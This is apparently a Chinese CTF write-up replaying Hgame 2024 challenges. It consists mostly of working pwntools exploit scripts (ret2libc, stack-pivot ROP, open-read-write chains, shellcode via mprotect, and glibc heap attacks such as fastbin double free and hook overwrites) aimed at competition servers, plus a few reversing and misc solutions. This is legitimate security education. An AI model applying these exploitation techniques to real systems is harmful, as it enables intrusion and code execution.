Hgame2024复现
week1
pwn
0 签到
- 直接nc
1 ezshellcode
明文shellcode
1
2
3
4
5
6
7
8
9
10from pwn import *
# io = process("./vuln")
io = remote("47.100.139.115",31134)
io.sendlineafter("length of your shellcode:", b'-1')
shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.sendafter("shellcode:", shellcode)
io.interactive()
2 Elden Random Challenge
伪随机数+ret2libc
libc本地得到的不对 然后打远程本来也没想着能通来着 结果通了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49from pwn import *
from ctypes import *
from LibcSearcher import *
# io = process("./vuln")
io = remote("47.100.139.115", 32002)
elf = ELF("./vuln")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln_addr = 0x40125d
context(arch='amd64', os='linux', log_level='debug')
libc = cdll.LoadLibrary('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
io.sendlineafter("name.", b'yech0')
libc.srand(libc.time(0))
# while True:
for i in range(99):
num = libc.rand()%100+1
io.sendafter("number:", int.to_bytes(num, 4, 'little'))
# lib = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
lib = ELF("./libc.so.6")
pop_rdi_ret = 0x0000000000401423
ret = 0x000000000040101a
payload = b'a'*(0x30+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
io.sendafter("mind.", payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts"+hex(puts_addr))
# gdb.attach(io)
# pause()
libc_base = puts_addr - lib.sym['puts']
# libc_base = puts_addr - (0x7f8fd9379420-0x7f8fd92f5000)
system = libc_base + lib.sym['system']
binsh = libc_base + next(lib.search(b'/bin/sh\x00'))
# libc = LibcSearcher("puts", puts_addr)
# libc_base = puts_addr - libc.dump("puts")
# system_addr = libc_base + libc.dump("system")
# binsh_addr = libc_base + libc.dump("str_bin_sh")
print("base"+hex(libc_base))
# ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
# onegadget = libc_base + ogg[2]
payload2 = b'\x00'*(0x30+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
# payload2 = b'\x00'*(0x30) + p64(0) + p64(onegadget)
io.sendline(payload2)
io.interactive()
3 Elden Ring Ⅰ
开了沙箱禁了execve 栈迁移打orw来着 但不到为啥就卡在shellcode那不执行(段错误)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72from pwn import *
io = process("./vuln")
# io = remote("47.102.130.35", 32258)
elf = ELF("./vuln")
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
leave_ret = 0x0000000000401290
ret = 0x000000000040101a
pop_rdi_ret = 0x00000000004013e3
read = 0x401276
bss = 0x4044f0
addr = 0x404700
io.recvuntil('accord.\n')
payload = b'a'*(0x100) + p64(bss) + p64(read)
io.send(payload)
sleep(0.5)
# shellcode = shellcraft.open('./flag')
# shellcode += shellcraft.read(3, addr, 0x50)
# shellcode += shellcraft.write(1, addr, 0x50)
# shellcode = '''
# push 0x67616c66;
# mov rdi,rsp;
# xor esi,esi;
# push 2;
# pop rax;
# syscall;
# push 3;
# pop rax;
# mov rdi,rax;
# mov rsi,[rsp+0x200];
# mov edx,0x100;
# xor eax,eax;
# syscall;
# mov edi,1;
# mov rsi,[rsp+0x200];
# push 1;
# pop rax;
# syscall;
# '''
# shellcode = asm('''
# push 0x67616c66
# mov rdi,rsp
# xor esi,esi
# push 2
# pop rax
# syscall
# mov rdi,rax
# mov rsi,rsp
# mov edx,0x100
# xor eax,eax
# syscall
# mov edi,1
# mov rsi,rsp
# push 1
# pop rax
# syscall
# ''')
gdb.attach(io)
pause()
shellcode = asm(shellcraft.cat('/flag'))
# payload2 = b'b'*(0x100) + p64(bss+0x100) + p64(read)
payload2 = shellcode.ljust(0x100, b'\x00') + p64(ret) + p64(0x4043f0)
io.send(payload2)
# gdb.attach(io)
# pause()
# payload3 = p64(ret) + p64(0x404500) + shellcode
# io.sendline(payload3)
# io.send(b'ccc')
io.interactive()- 找到一个师傅的wp 可能真是bss段没有权限的问题(之前那个栈迁移的题可以执行可能是因为本题有
setvbuf(_bss_start, 0LL, 2, 0LL);
那题是没有的
师傅用了mprotect函数就能通
- 找到一个师傅的wp 可能真是bss段没有权限的问题(之前那个栈迁移的题可以执行可能是因为本题有
师傅们用的都是泄露libc 用libc中的gadget实现read向bss中写 而且不能是shellcode 没执行权限嘛 用gadget写orw(ret2libc那种)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55# 好奇怪 换了libc成9.7的 但找offset还是要原来的libc才对
from pwn import *
# io = process("./vuln")
io = remote("139.196.183.57", 32447)
elf = ELF("./vuln")
libc = ELF('./libc.so.6')
# libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
context(arch='amd64', os='linux', log_level='debug')
pop_rdi_ret = 0x00000000004013e3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x401292
io.recvuntil('accord.\n')
off = b'a'*(0x100+8)
payload = off
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
io.send(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = puts_addr - libc.sym['puts']
# base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
print('base'+hex(base))
read = base + libc.sym['read']
o = base + libc.sym['open']
w = base + libc.sym['write']
rdi = base + 0x0000000000023b6a
rsi = base + 0x000000000002601f
rdx = base + 0x0000000000142c92
rax = base + 0x0000000000036174 # 返回值
rsp = base + 0x000000000002f70a
addr = 0x404500
payload2 = off
payload2 += p64(rsi) + p64(addr) + p64(read)
payload2 += p64(rsp) + p64(addr+8)
io.send(payload2)
payload3 = b'./flag'.ljust(8, b'\x00')
payload3 += p64(rdi) + p64(addr)
payload3 += p64(rsi) + p64(0) + p64(o)
payload3 += p64(rdi) + p64(3)
payload3 += p64(rsi) + p64(addr+0x300)
payload3 += p64(rdx) + p64(0x50) + p64(read)
payload3 += p64(rdi) + p64(1)
payload3 += p64(rsi) + p64(addr+0x300)
payload3 += p64(rdx) + p64(0x50) + p64(w)
# payload3 += p64(main) # chenxi师傅加了ret_addr 不加也能通
io.send(payload3)
io.interactive()1
flag{D0_yoU_F4ncy_7he_E1d3nR1ng?I_D0!}
或者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
io = process("./vuln")
# io = remote("139.196.183.57", 32447)
elf = ELF("./vuln")
libc = ELF('./libc.so.6')
# libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
context(arch='amd64', os='linux', log_level='debug')
pop_rdi_ret = 0x00000000004013e3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x40125b
io.recvuntil('accord.\n')
off = b'a'*(0x100+8)
payload = off
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
io.send(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = puts_addr - libc.sym['puts']
# base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
print('base'+hex(base))
read = base + libc.sym['read']
o = base + libc.sym['open']
w = base + libc.sym['write']
rdi = base + 0x0000000000023b6a
rsi = base + 0x000000000002601f
rdx = base + 0x0000000000142c92
rax = base + 0x0000000000036174 # 返回值
rsp = base + 0x000000000002f70a
addr = 0x404500
payload2 = b'a'*(0x100) + p64(addr)
payload2 += p64(rax) + p64(addr) + p64(0x401282)
payload2 += p64(0)*2
io.send(payload2)
payload3 = b'./flag'.ljust(8, b'\x00')
payload3 += p64(rdi) + p64(addr)
payload3 += p64(rsi) + p64(0) + p64(o)
payload3 += p64(rdi) + p64(3)
payload3 += p64(rsi) + p64(addr+0x300)
payload3 += p64(rdx) + p64(0x50) + p64(read)
payload3 += p64(rdi) + p64(1)
payload3 += p64(rsi) + p64(addr+0x300)
payload3 += p64(rdx) + p64(0x50) + p64(w)
payload3 += p64(main)
io.send(payload3)
io.interactive()
# './flag'.ljust(8, b'\x00')写最后也行 payload2的addr调整一下这题卡住的原因就是bss没有权限执行shellcode 写rop链就行了
修改一下最开始没通的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
io = process("./vuln")
# io = remote("139.196.183.57", 32447)
elf = ELF("./vuln")
libc = ELF('./libc.so.6')
# libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
context(arch='amd64', os='linux', log_level='debug')
pop_rdi_ret = 0x00000000004013e3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x40125b
io.recvuntil('accord.\n')
off = b'a'*(0x100+8)
payload = off
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
io.send(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = puts_addr - libc.sym['puts']
# base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
print('base'+hex(base))
read = base + libc.sym['read']
o = base + libc.sym['open']
w = base + libc.sym['write']
rdi = base + 0x0000000000023b6a
rsi = base + 0x000000000002601f
rdx = base + 0x0000000000142c92
rax = base + 0x0000000000036174 # 返回值
rsp = base + 0x000000000002f70a
addr = 0x404500
readtst = 0x401276
payload2 = b'a'*(0x100) + p64(addr) + p64(readtst)
io.send(payload2)
payload4 = b'b'*(0x100) + p64(addr+0x100) + p64(readtst)
io.send(payload4)
# gdb.attach(io)
# pause()
payload3 = b'./flag'.ljust(8, b'\x00')
payload3 += p64(rdi) + p64(addr)
payload3 += p64(rsi) + p64(0) + p64(o)
payload3 += p64(rdi) + p64(3)
payload3 += p64(rsi) + p64(addr+0x300)
payload3 += p64(rdx) + p64(0x50) + p64(read)
payload3 += p64(rdi) + p64(1)
payload3 += p64(rsi) + p64(addr+0x300)
payload3 += p64(rdx) + p64(0x50) + p64(w)
payload3 += p64(main)
io.send(payload3)
io.interactive()另一种方法:mprotect函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
io = process("./vuln")
# io = remote("139.196.183.57", 32447)
elf = ELF("./vuln")
libc = ELF('./libc.so.6')
# libc = ELF('/home/yech0/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
context(arch='amd64', os='linux', log_level='debug')
pop_rdi_ret = 0x00000000004013e3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x40125b
io.recvuntil('accord.\n')
off = b'a'*(0x100+8)
payload = off
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
io.send(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = puts_addr - libc.sym['puts']
# base = puts_addr - (0x7fd0c0aa1420-0x7fd0c0a1d000)
print('base'+hex(base))
mprotect = base + libc.sym['mprotect']
read = base + libc.sym['read']
rdi = base + 0x0000000000023b6a
rsi = base + 0x000000000002601f
rdx = base + 0x0000000000142c92
rax = base + 0x0000000000036174 # 返回值
rsp = base + 0x000000000002f70a
addr = 0x404500
readtst = 0x401276
payload2 = b'a'*(0x100) + p64(addr) + p64(readtst)
io.send(payload2)
payload4 = b'b'*(0x100) + p64(addr+0x100) + p64(readtst)
io.send(payload4)
# gdb.attach(io)
# pause()
payload3 = p64(0) + p64(rdi) + p64(0x404000)
payload3 += p64(rsi) + p64(0x1000)
payload3 += p64(rdx) + p64(7) + p64(mprotect)
payload3 += p64(rdi) + p64(0)
payload3 += p64(rsi) + p64(addr)
payload3 += p64(rdx) + p64(0x50) + p64(read)
payload3 += p64(addr)
io.send(payload3)
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, addr, 0x50)
shellcode += shellcraft.write(1, addr, 0x50)
io.send(asm(shellcode))
io.interactive()又看到一个师傅的wp能leak出栈地址:即libc的
__environ
能leak出栈地址1
2
3
4
5
6
7environ = base + libc.sym['__environ']
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(main)
io.sendafter(b'you an accord.\n', p)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1e8
print('stack'+hex(stack)) # 写p的起始位置
gdb.attach(io)
pause()
4 fmt
1 |
|
这个是晨曦师傅的wp
mad官方也没发这题的wp
将offset为18的位置的二级指针修改 让返回地址为sys(中的一个就欧克)其实格式化字符串修改的都是二级指针 只是之前我们修改的是指定地址的
如strfmt_payload(10, {printf_got : system})
在函数栈中的结构为:栈地址 –> got表地址(0x404040)–> printf的真实地址(0x7f…)
修改的就是printf的真实地址 也是二级指针
1 |
|
re
ezIDA
- 直接ida打开附件就能看到flag
ezASM
好好好 gpt这么不靠谱 异或0x22算不对
多用用python计算把a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34] for i in a: print(chr(i^0x22), end='')
1
2
3
* ```
hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}
misc
签到
- 公众号
Signin
图片 也提示了换一种视角
https://lab.magiconch.com/xzk/
斜着看⽣成器 - 神奇海螺⽣成器
- 将图片压扁就能看出来的
用ps图像->图像大小->把高度减小就行
hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
week2
pwn
Elden Ring Ⅱ
(而且libc也没出什么问题 有点子丝滑的)
1 |
|
1 |
|
fastnote
2.31_9.14 全绿 size有问题 但没看出来怎么绕过
好好好 晨曦师傅真的6 直接找2023的hgame 题基本都一样我去 牛的 这里指针没有清零的 但是我没看出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28unsigned __int64 delete()
{
unsigned int id; // [rsp+Ch] [rbp-14h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &id);
if ( id > 0xF )
{
puts("There are only 16 pages.");
}
else
{
ptr = (¬es)[id];
if ( ptr )
{
free(ptr);
ptr = 0LL; // 这里其实没有把指针清零啊 清的只是ptr (¬es)[id]处还存在指针的 所以uaf
}
else
{
puts("No such note.");
}
}
return __readfsqword(0x28u) ^ v3;
}和上一个题差不多 但没有edit
官方wp:
2.31的double free 这个版本的tcache中有针对double free的检查,但fastbin中没有相关检查,因此
可以先填满tcache,然后在fastbin中构造double free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61# 2.31-9.14 cache 全绿
from pwn import *
# io = process("./vuln")
io = remote("139.196.183.57", 32202)
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")
context(arch='amd64', os='linux', log_level='debug')
def add(indx, size, content):
io.sendlineafter("choice:", b'1')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Size: ", str(size))
io.sendlineafter("Content: ", content)
def show(indx):
io.sendlineafter("choice:", b'2')
io.sendlineafter("Index: ", str(indx))
def delete(indx):
io.sendlineafter("choice:", b'3')
io.sendlineafter("Index: ", str(indx))
for i in range (7):
add(i, 0x80, b'tcache')
add(7, 0x80, b'unsorted')
add(8, 0x10, b'protect')
for i in range (7):
delete(i)
delete(7)
show(7)
unsorted = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base = unsorted - 0x70 - libc.sym['__malloc_hook']
system = base + libc.sym['system']
free_hook = base + libc.sym['__free_hook']
print(hex(base))
for i in range (8):
add(i, 0x30, b'tcache')
add(8, 0x30, b'fastbin')
add(9, 0x30, b'fastbin')
add(10, 0x10, b'/bin/sh\x00')
add(11, 0x10, b'protect')
for i in range (8):
delete(i)
delete(8)
delete(9)
delete(8)
for i in range(7):
add(i, 0x30, b'tcache')
add(7, 0x30,p64(free_hook))
add(8, 0x30, b'deadbeef')
add(8, 0x30, b'deadbeef')
add(9, 0x30, p64(system))
# gdb.attach(io)
# pause()
delete(10)
io.interactive()
1
hgame{1f86c89584f2d4ebbe2a8044444b6a58dd6510ae}
- 39行gdb调试可以看到,有chunk是从0x80中分割出来的 所以有一个chunk_size为0x50 所以为了填满tcache就多add一个
后面的多调试调整 - 还有52行以后,只剩fastbin中的chunk了 调试会发现这些chunk进入了tcache(还挺有趣)
还看到一种方法 house_of_botcake
libc-2.31的fastbin,存在UAF,可以用fastbin double free(2.31还未有严格的check),不过得先把tcache塞满,但这种方法较为繁琐,使用 house of botcake是最简单的
old_fastnote
本来还想着和之前一样打free_hook的 但是打不通
报错:b”*** Error in `./vuln’: malloc(): memory corruption (fast): 0x00007f25857c67b8 ***\n”
地址是unsortedbin的地址 具体的原因还不知道
官方WP写了:2.23的fastbin double free,这个版本的fastbin在malloc时会检查拿到的chunk的size是否正确,所以很难申请到任意地址的指针。但是这⾥没有对⻬检查,可以通过字节错位实现绕过。由于__free_hook 附近没有合适的值可以拿来利⽤,所以这道题⽤ __malloc_hook +one_gadget 来完成攻击。
然后就对着《不同libc版本下UAF的利用手法总结》发现2.23是打malloc_hook 改成onegadget(原因不详 应该也能改成system把
(有的时候如果onegadget都打不通的话 就需要realloc函数来实现相应的条件限制了由于调⽤
__malloc_hook
时的的上下⽂正好都不满⾜one_gadget 的constraints,不过libc-2.23的constraints⼤部分和栈相关,同时 realloc 的开头部分有⼤量的push操作可以⽤来调整栈帧,且__realloc_hook
和__malloc_hook
的位置是紧贴着的,可以同时被修改,所以可以先通过__malloc_hook
从 realloc 开头的合适位置开始执⾏,然后利⽤ __realloc_hook 调⽤ one_gadget这里是最后一个ogg打通了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54# no_pie 全绿
from pwn import *
# io = process("./vuln")
io = remote("139.196.183.57", 31585)
elf = ELF("./vuln")
libc = ELF("./libc-2.23.so")
context(arch='amd64', os='linux', log_level='debug')
def add(indx, size, content):
io.sendlineafter("choice:", b'1')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Size: ", str(size))
io.sendlineafter("Content: ", content)
def show(indx):
io.sendlineafter("choice:", b'2')
io.sendlineafter("Index: ", str(indx))
def delete(indx):
io.sendlineafter("choice:", b'3')
io.sendlineafter("Index: ", str(indx))
add(0, 0x80, b'unsorted')
add(1, 0x60, b'aaa')
add(2, 0x60, b'aaa')
add(3, 0x60, b'aaa')
add(4, 0x10, b'protect')
delete(0)
show(0)
unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = unsorted - 0x68 - libc.sym['__malloc_hook']
fake = unsorted - 0x68 - 0x23
print(hex(unsorted))
print(hex(base))
ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
onegadeet = base + ogg[3]
delete(1)
delete(2)
delete(1)
add(1, 0x60, p64(fake))
add(2, 0x60, b'deadbeef')
add(2, 0x60, b'deadbeef')
add(1, 0x60, b'a'*(0x13)+p64(onegadeet))
io.sendlineafter("choice:", b'1')
io.sendlineafter("Index: ", b'1')
io.sendlineafter("Size: ", b'1')
# gdb.attach(io)
# pause()
io.interactive()
1 |
|
ShellcodeMaster
- 下面这个exp忘了还有沙箱,, 报错Program terminated with signal SIGSYS, Bad system call. 我说怎么不行
1 |
|
打orw就必须要read了
出题⽬的是想让新⽣学习⼀下缩减shellcode⻓度的技巧。⽐赛中可能会遇到限制较⾼的。
常⻅的⼿法有:置零⽤xor、寄存器⽤低位、push+pop等等。
预期解是再实现⼀次read和mprotect,cdq指令可以控制dx
好的 确实学习到了
mprotect的函数调用号应该是10 没有设置rsi是0x1000也是可以的(原来值为0x2333) 设置的还是0x1000范围是rwpsshl edi,12:寄存器edi的值向左移动12位(相当于乘以2的12次方)(”shl”表示逻辑左移操作(Shift Left)
cdq:用于将32位寄存器eax中的有符号整数扩展为64位整数,将符号位拓展到edx寄存器中。具体操作如下:
- 如果eax寄存器中的值是正数,则edx寄存器被清零。
- 如果eax寄存器中的值是负数,则edx寄存器被设置为全1(0xFFFFFFFF)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26► 0x233300b syscall <SYS_mprotect>
addr: 0x2333000 ◂— mov dx, 7
len: 0x2333
prot: 0x7
0x233300d cdq
0x233300e mov esi, edi
RAX 0xa
RBX 0x2333
RCX 0x2333
RDX 0x7
0x233300b syscall
► 0x233300d cdq
0x233300e mov esi, edi
*RAX 0xfffffffffffffff4
RBX 0x2333
*RCX 0x233300d ◂— cdq /* 0xfff31c031fe8999 */
RDX 0x7
0x233300b syscall
0x233300d cdq
► 0x233300e mov esi, edi
RAX 0xfffffffffffffff4
RBX 0x2333
RCX 0x233300d ◂— cdq /* 0xfff31c031fe8999 */
*RDX 0xffffffff- 第28行nop指令(长度是1)必须要有 个数的问题和add rsp, 0x500相配合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55from pwn import *
# io = process("./shellcodeMaster")
io = remote("139.196.183.57", 31751)
elf = ELF("./shellcodeMaster")
context(arch='amd64', os='linux', log_level='debug')
addr = 0x404500
io.recv()
payload=asm('''
mov dx, 7
mov ax, 10
shl edi,12
syscall
cdq
mov esi, edi
xor eax,eax
xor edi, edi
syscall
''')
print(hex(len(payload))) # 0x16 # read的mov要放在两个xor前面
io.send(payload)
# gdb.attach(io)
# pause()
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, addr, 0x50)
shellcode += shellcraft.write(1, addr, 0x50)
payload2 = b'\x90'*(0xff) + asm('shl rsp, 12; add rsp, 0x500;')
payload2 += asm(shellcode)
io.sendline(payload2)
#basic orw shellcode 官方wp给出的手打orw
# shellcode_orw = asm('''
# push 0x67616c66
# mov rdi,rsp rsp:0x4044f8
# xor esi,esi
# push 2
# pop rax
# syscall
# mov rdi,rax
# mov rsi,rsp
# mov edx,0x100
# xor eax,eax
# syscall
# mov edi,1
# mov rsi,rsp
# push 1
# pop rax
# syscall
# ''')
# io.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)
io.interactive()1
hgame{1c59947fc9fe2da827468d0c14a630822431af9e}
Misc
ek1ng_want_girlfriend
题目描述:An introducation to Wireshark and also ek1ng.
提示1:尝试用Wireshark从HTTP流量中提取文件
直接根据提示搜用Wireshark从HTTP流量中提取文件
打开wireshark –> (导航栏)文件 –> 打开附件
(导航栏)文件 –> 导出文件 –> http:在弹出的对话框中有ek1ng.jpg
保存打开是张图片 有flag1
hgame{ek1ng_want_girlfriend_qq_761042182}
ezword
盲水印得到密码(但工具没下 直接py的
1 |
|
weel3
pwn
你满了,那我就漫出来了!
2.27的off_by_null(但附件应该是有什么问题 运行不了 换libc也找不到)
那就自己重新编译一个把 大部分都一样了unsorttedbin是先进先出
p &main_arena 或 p &__malloc_hook是可以的 x/30gx &main_arena不行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
* 先是用easyheap的方法打了一下 可以泄露libc 但是double free的时候会检测到 应该需要把exp稍微调整一下
也有可能是easyheap的小版本号比较低 没有检测 1.3以后就更新了 这样的话 这种打法应该就打不通了
>现在,调用`int_free`时,将会检查整个`Tcache`链表,如果发现将要释放的`chunk`已存在于链表中将会报错`free(): double free detected in tcache 2`。
>
>https://www.anquanke.com/post/id/219292#h3-7
```python
from pwn import *
io = process("./vuln")
elf = ELF("./vuln")
libc = elf.libc
context(arch='amd64', os='linux', log_level='debug')
def add(indx, size, content):
io.sendlineafter("choice:", b'1')
io.sendlineafter("Index: ", str(indx))
io.sendlineafter("Size: ", str(size))
io.sendlineafter("Content: ", content)
def show(indx):
io.sendlineafter("choice:", b'2')
io.sendlineafter('Index: ', str(indx))
def delete(indx):
io.sendlineafter('choice:', b'3')
io.sendlineafter("Index: ", str(indx))
for i in range(10):
add(i, 0xf0, b'aaa')
add(10, 0x10, b'protect')
for i in range(6):
delete(i)
delete(9)
# chunk678合并
delete(6)
delete(7)
delete(8)
for i in range(7):
add(i, 0xf0, b'tcache')
add(7, 0xf0, b'unsorted') # chunk6
add(8, 0xf0, b'unsorted') # chunk7
add(9, 0xf0, b'unsorted') # chunk8
for i in range(6):
delete(i)
delete(8) # chunk7
delete(7) # chunk6
add(0, 0xf8, b'a'*0xf0+p64(0x200)) # 先取tcache中的chunk7
# offbynull 修改chunk8的inuse位
delete(6) # 填满tcache
delete(9) # 合并0x300 overlapping
for i in range(7):
add(i+1, 0xf8, b'tcache')
add(8, 0xf8, b'chunk6')
show(0)
unsorted = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base = unsorted - 0x70 - libc.sym['__malloc_hook']
print(hex(base))
ogg = [0x4f2a5, 0x4f302, 0x10a2fc]
onegadget = base + ogg[0]
add(9, 0xf0, b'aa')
delete(1)
delete(2)
delete(0)
delete(9)
# free(): double free detected in tcache 2
gdb.attach(io)
pause()
io.interactive()一位师傅的:利用off_by_one还可以溢出 uaf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
# io = remote("106.14.57.14", 31809)
io = process("./vuln")
elf = ELF("./vuln")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'Your choice:'
def add(idx, size, data):
sla(menu, b'1')
sla(b'Index: ', byte(idx))
sla(b'Size: ', byte(size))
sda(b'Content: ', data)
def dele(idx):
sla(menu, b'3')
sla(b'Index: ', byte(idx))
def show(idx):
sla(menu, b'2')
sla(b'Index: ', byte(idx))
for i in range(7):
add(i, 0xf8, b'tcache')
add(7, 0xf8, b'A')
add(8, 0x20, b'B')
add(9, 0x20, b'B')
add(10, 0xf8, b'A')
add(11, 0x20, b'C') # protect
for i in range(7):
dele(i)
dele(7) # unsorted
dele(9) # tcache_0x30
# 合并chunk789
add(9, 0x28, b'A'*0x20 + p64(0xf0+0x10+0x30+0x30))
dele(10) # overlapping
for i in range(7):
add(i, 0xf8, b'tcache')
add(7, 0xf8, b'A') # chunk7
show(8)
libc_base = addr8(6) - 0x3ebca0
info("libc_base", libc_base)
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f420
info("free_hook", free_hook)
info("system", system)
# chunk8 9 10是合并的
# dele(11) # tcache 不会和topchunk合并的 不删也能通
dele(9)
# 从最开始chunk8开始写
# 溢出uaf 写入system
add(12, 0x38, b'A'*0x28 + p64(0x31) + p64(free_hook))
#dele(12)
add(14, 0x20, b'/bin/sh\x00')
